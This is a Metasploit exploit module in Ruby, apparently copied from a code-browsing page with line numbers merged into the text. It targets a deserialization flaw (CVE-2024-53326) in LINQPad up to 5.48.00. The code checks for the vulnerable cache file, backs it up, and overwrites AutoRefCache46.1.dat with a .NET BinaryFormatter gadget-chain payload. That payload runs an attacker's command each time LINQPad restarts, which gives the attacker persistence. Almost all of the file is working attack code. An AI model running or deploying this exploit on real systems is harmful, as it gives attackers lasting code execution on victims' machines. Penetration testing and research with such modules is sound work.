Path: blob/master/modules/exploits/windows/persistence/linqpad_deserialization.rb
27907 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html78# includes file?, directory?9include Msf::Post::File10include Msf::Exploit::Local::Persistence1112# includes generate13include Msf::Util::DotNetDeserialization14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'LINQPad Deserialization',21'Description' => %q{22This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.23},24'License' => MSF_LICENSE,25'Author' => [26'msutovsky-r7 <[email protected]>',27'James Williams' # original research28],29'Platform' => 'win',30'SessionTypes' => [ 'shell', 'meterpreter' ],31'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],32'Privileged' => true,33'References' => [34[ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],35[ 'CVE', '2024-53326']36],37'DisclosureDate' => '2024-12-03',38'DefaultTarget' => 0,39'Notes' => {40'Stability' => [CRASH_SAFE],41'Reliability' => [REPEATABLE_SESSION],42'SideEffects' => [ARTIFACTS_ON_DISK]43}44)45)46register_options([47OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),48])49end5051# Simplify pulling the writable directory variable5253def check54if !directory?(datastore['Cache_path'])55return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')56elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')57return Exploit::CheckCode::Unknown('Cannot find cache file')58elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat')59return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')60else61return Exploit::CheckCode::Appears('LINQPad and vulnerable cache file present, target possibly exploitable')62end63end6465def install_persistence66# generate payload67vprint_status('Create deserialization payload')6869dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(70payload.encoded, # this is the Operating System command to run71gadget_chain: :TextFormattingRunProperties,72formatter: :BinaryFormatter73)74vprint_status('Saving the original content')75cached_file_content = read_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat')76backup_conf_path = store_loot(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', 'text/plain', session, cached_file_content, 'AutoRefCached46.1.dat', 'autorefcache46.1.dat backup')77vprint_status("Saved at: #{backup_conf_path}")7879@clean_up_rc << "upload #{backup_conf_path} #{datastore['CACHE_PATH']}/AutoRefCache46.1.dat"8081vprint_status('Overwriting file')82# try to overwrite cache file83fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)84end85end868788